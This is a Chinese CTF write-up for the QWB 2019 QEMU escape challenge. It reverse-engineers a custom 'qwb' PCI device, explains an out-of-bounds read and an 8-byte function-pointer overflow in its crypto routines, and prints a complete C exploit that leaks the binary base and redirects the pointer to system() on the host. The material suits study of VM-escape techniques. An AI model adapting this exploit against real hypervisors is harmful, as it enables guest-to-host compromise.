启动脚本,是qwb设备
#!/bin/bash
./qemu-system-x86_64 -initrd ./rootfs.cpio -nographic -kernel ./vmlinuz-5.0.5-generic -L pc-bios/ -append "priority=low console=ttyS0" -device qwb -monitor /dev/null
一开始在16.04,18.04上尝试启动,结果安装的依赖库好像版本不太符合要求,最终在19.04上面安装依赖库即可启动了,看来强网杯还是紧跟最新的系统啊
tips:缺少库可以用 apt-cache search 去查找后安装
启动起来,先看pci设备
/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:8848
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
再看看qwb_class_init
函数,可以确定是00:04.0 Class 00ff: 1234:8848
void __fastcall qwb_class_init(ObjectClass_0 *a1, void *data)
{
ObjectClass_0 *v2; // rbx
ObjectClass_0 *v3; // rax
v2 = object_class_dynamic_cast_assert(
a1,
(const char *)&implements_type,
"/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
497,
"qwb_class_init");
v3 = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
498,
"qwb_class_init");
BYTE4(v3[2].object_cast_cache[0]) = 0x10;
HIWORD(v3[2].object_cast_cache[0]) = 0xFF;
v3[1].unparent = (ObjectUnparent *)pci_qwb_realize;
v3[1].properties = (GHashTable *)pci_qwb_uninit;
LOWORD(v3[2].object_cast_cache[0]) = 0x1234;
WORD1(v3[2].object_cast_cache[0]) = 0x8848u;
v2[1].type = (Type)((_QWORD)v2[1].type | 0x80LL);
}
这个很多多线程的锁与解锁,所以还是比较难看的
qwb_mmio_read
当addr为0-10的功能,其他情况继续看下面
0、初始化crypt_key,input_buf,output_buf(crypto.statu的最低的1,3位为1就什么也不做)
1、crypto.statu为0或2,就设置为3
2、crypto.statu为0或4,就设置为1
3、crypto.statu为3,就设置为4
4、crypto.statu为1,就设置为2
5、crypto.statu为2或4,设置crypto.encrypt_function为aes_encrypt_function
6、crypto.statu为2或4,设置crypto.decrypt_function为aes_decrypto_function
7、crypto.statu为2或4,设置crypto.encrypt_function为stream_encrypto_fucntion
8、crypto.statu为2或4,设置crypto.decrypt_function为stream_decrypto_fucntion
9、crypto.statu为2或4,statu设置为5,调用加密函数opaque->crypto.encrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key);
其实到qwb_encrypt_processing_thread将statu设置为6
10、crypto.statu为2或4,statu设置为7,调用解密函数opaque->crypto.decrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key);
其实到qwb_decrypt_processing_thread将statu设置为8
代码太长就只贴default的代码,下面把lock和unlock的代码去掉了
default:
size_copy = size;
if ( addr <= 0x2FFF )
{
if ( addr <= 0x1FFF )
{
if ( addr <= 0xFFF )
{
LABEL_37:
return -1LL;
}
v20 = size_copy == 1;
goto LABEL_35;
}
v20 = size == 1;
}
else
{
v18 = strlen((const char *)opaque->crypto.output_buf);
v19 = size_copy == 1;
v20 = size_copy == 1;
if ( addr < v18 + 0x3000 && v19 )
{
if ( (opaque->crypto.statu - 6) & 0xFFFFFFFFFFFFFFFDLL )
{
result = -1LL;
}
else
{
v22 = *((_BYTE *)opaque + addr - 0x15C0);
result = v22;
}
return result;
}
}
if ( addr < strlen((const char *)opaque->crypto.input_buf) + 0x2000 && v20 )
{
if ( opaque->crypto.statu == 2 )
{
v23 = *((_BYTE *)opaque + addr - 0xDC0);
result = v23;
}
else
{
result = -1LL;
}
return result;
}
LABEL_35:
if ( addr >= strlen((const char *)opaque->crypto.crypt_key) + 0x1000 || !v20 )
goto LABEL_37;
if ( opaque->crypto.statu == 4 )
{
v24 = *((_BYTE *)opaque + addr - 0x5C0);
result = v24;
}
else
{
result = -1LL;
}
return result;
功能如下,根据addr的值进行选择:
0x1000-0x1fff: size为1,而且addr< strlen((const char *)opaque->crypto.crypt_key) + 0x1000,才能进入下一步,下一步要opaque->crypto.statu == 4,最终才读取*((_BYTE *)opaque + addr - 0x5C0)的值
0x2000-0x2fff: 条件基本跟上面相似,statu为2,读取*((_BYTE *)opaque + addr - 0xDC0);
0x3000以上: 条件基本跟上面相似,status为6或8,读取*((_BYTE *)opaque + addr - 0x15C0);
此外,还有重要的是,我们调用了下面的才能进入addr大于0x3000的分支
qwb_decrypt_processing_thread将status设置为8
qwb_encrypt_processing_thread将status设置为6
qwb_mmio_write的话如下,没什么漏洞,只是设置crypt_key和input_buf
void __fastcall qwb_mmio_write(QwbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
char v4; // r12
QemuMutex_0 *v5; // r13
int v6; // edx
if ( size == 1 )
{
v4 = val;
if ( addr - 0x1000 <= 0x7FF )
{
v5 = &opaque->crypto_statu_mutex;
if ( opaque->crypto.statu == 3 )
{
*((_BYTE *)opaque + addr - 0x5C0) = v4;
}
v6 = 435;
}
else
{
if ( addr - 0x2000 > 0x7FF )
return;
v5 = &opaque->crypto_statu_mutex;
if ( opaque->crypto.statu == 1 )
{
*((_BYTE *)opaque + addr - 0xDC0) = v4;
}
v6 = 447;
}
}
}
那么漏洞是什么? 1、qwb_mmio_read在填满output_buf的时候,strlen会大于0x800,在读取output_buf的时候,可以越界读,读取到函数指针
2、还有就是在aes_encrypt_function
和aes_decrypto_function
中,以aes_encrypt_function
为例,最后会各种异或操作一波,由于v7最多可以到0x800,最终将溢出output_buf,溢出8个字节,可以覆盖encrypt_function指针
*(_QWORD *)&output_buf[v7] = v25;
保护措施,全开
root@ubuntu:~/qemu_escape/qwb-preliminary-2019-qwct# checksec ./qe*
[*] '/root/qemu_escape/qwb-preliminary-2019-qwct/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
利用思路: 1、mmio_write不能直接填充output_buf,所以我们通过调用stream_encrypto_fucntion去填充疑惑后都是非0的,那么strlen计算就会超过0x800,那就可以越界读,读取到函数指针stream_encrypto_fucntion的地址,从而算出程序的基址,及system_plt地址
2、虽然aes_encrypt_function和aes_decrypto_function都有8字节溢出,但是我们需要控制output_buf的值,我们才能最终控制计算出来的值(即循环异或,第一次是异或0,第二次是异或上一次的结果),直接通过aes_encrypt_function利用有点困哪,我们难以控制加密后的值。但是我们先aes加密,再通过aes解密,那么我们就可以精准控制解密结果了。
//下面是aes_decrypto_function的部分代码
v18 = 0LL;
v19 = 0;
v12 = 0;
for ( i = 0LL; ; v12 = *((_BYTE *)&v18 + (i & 7)) )
{
v14 = output_buf[i] ^ v12;
v15 = i++;
*((_BYTE *)&v18 + (v15 & 7)) = v14;
if ( v7 == i )
break;
}
v16 = v18;
}
else
{
v16 = 0LL;
}
*(_QWORD *)&output_buf[v7] = v16;
return 1;
}
最终exp
// -*- coding: utf-8 -*-
// @Date : 2020-01-15
// @Author : giantbranch
// @Link : http://www.giantbranch.cn/
// @tags :
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x100000
#define MAP_MASK (MAP_SIZE - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value){
*((uint8_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr){
return *((uint8_t*)(mmio_base + addr));
}
void init(){
mmio_read(0);
}
void set_status(uint32_t value){
if (value == 1)
{
mmio_read(2);
}else if (value == 2)
{
mmio_read(4);
}else if (value == 3)
{
mmio_read(1);
}else if (value == 4)
{
mmio_read(3);
}
}
void set_enc_aes(){
mmio_read(5);
}
void set_dec_aes(){
mmio_read(6);
}
void set_enc_stream(){
mmio_read(7);
}
void set_dec_stream(){
mmio_read(8);
}
void call_encrypt_function(){
mmio_read(9);
}
void call_decrypt_function(){
mmio_read(10);
}
uint8_t read_crypt_key(uint32_t offset){
return mmio_read(0x1000+offset);
}
uint8_t read_input_buf(uint32_t offset){
return mmio_read(0x2000+offset);
}
// b *$rebase(0x4D2907)
uint8_t read_output_buf(uint32_t offset){
return mmio_read(0x3000+offset);
}
void write_crypt_key(uint32_t offset, uint8_t value){
mmio_write(0x1000+offset,value);
}
void write_input_buf(uint32_t offset, uint8_t value){
mmio_write(0x2000+offset,value);
}
uint64_t leak_enc_fucntion(){
int i = 0;
uint64_t enc_fucntion_addr = 0, tmp;
for (i = 0; i < 6; i++){
// printf("leak 0x800+%d : %lx\n", i, read_output_buf(0x800+i));
tmp = read_output_buf(0x800+i);
tmp <<= (8*i);
enc_fucntion_addr |= tmp;
}
return enc_fucntion_addr;
}
int main(int argc, char const *argv[])
{
uint64_t system_plt_off = 0x2ADF80, system_plt = 0;
uint64_t stream_encrypto_off = 0x4D2A20, stream_encrypto_addr = 0, bin_addr = 0;
uint8_t enc_output_data[0x800];
int i = 0;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
/***************************/
/*leak stream_encrypto_addr*/
/***************************/
//init status, crypt_key, input_buf, output_buf
init();
// fill input_buf with 0x60
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, 0x60);
}
// fill crypt_key
// b *$rebase(0x4D2090)
set_status(2);
// b *$rebase(0x4D1F80)
set_status(3);
for (i = 0; i < 0x800; i++){
write_crypt_key(i, 0x6);
}
// set encrypt_function with stream_encrypto_fucntion
// b *$rebase(0x4D21A0)
set_status(4);
set_enc_stream();
// call encrypt_function to fill output_buf
// b *$rebase(0x4D1D6D)
call_encrypt_function();
usleep(100);
//leak
stream_encrypto_addr = leak_enc_fucntion();
bin_addr = stream_encrypto_addr - stream_encrypto_off;
system_plt = bin_addr + system_plt_off;
printf("stream_encrypto_addr: %lx\n", stream_encrypto_addr);
printf("bin_addr: %lx\n", bin_addr);
printf("system_plt: %lx\n", system_plt);
/***************************/
/*overwrite enc pointer*/
/***************************/
// now state is 6 (qwb_encrypt_processing_thread set opaque->crypto.statu = 6)
// so we must call init to restart, otherwise we can't do nothing
//init status, crypt_key, input_buf, output_buf
init();
// fill input_buf with 0x6f
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, 0x60);
}
//通过对aes_dec最后代码的调试,发现最后结果为0x0,那么肯定是0x6060606060606060^0x6060606060606060了
//所以我们设置最后8字节为 system_plt ^ 0x6060606060606060,计算出来就是system_plt了
for (i = 0x7f8; i < 0x800; i++){
write_input_buf(i, ((uint8_t*)&system_plt)[i&7]^0x60);
}
// fill crypt_key
set_status(2);
set_status(3);
// size must 0x10 , and key not important
for (i = 0; i < 0x10; i++){
write_crypt_key(i, 0x6);
}
// set enc function
set_status(4);
set_enc_aes();
call_encrypt_function();
usleep(100);
//state now is 6
// read enc output_buf
for (i = 0; i < 0x800; i++){
enc_output_data[i] = read_output_buf(i);
}
/**** call aes_decrypto_function to overwrite enc pointer ****/
init();
// fill input_buf with enc_output_data
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, enc_output_data[i]);
}
// set the same key
set_status(2);
set_status(3);
// size must 0x10
for (i = 0; i < 0x10; i++){
write_crypt_key(i, 0x6);
}
// set dec function
set_status(4);
set_dec_aes();
//b *$rebase(0x4D2A30) aec_dec
//b *$rebase(0x4D2B1E) output
//b *$rebase(0x4D2B41) overwrite
call_decrypt_function();
usleep(100);
/***************************/
/*call enc pointer ———— just call system*/
/***************************/
init();
// set system cmd: just set input_buf
char *cmd = "gnome-calculator";
// fill input_buf with cmd
set_status(1);
for (i = 0; i < strlen(cmd); i++){
write_input_buf(i, cmd[i]);
}
//call enc
set_status(2);
call_encrypt_function();
return 0;
}
最终效果:
cat flag:
弹计算器:
https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/qwb-preliminary-2019-qwct
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有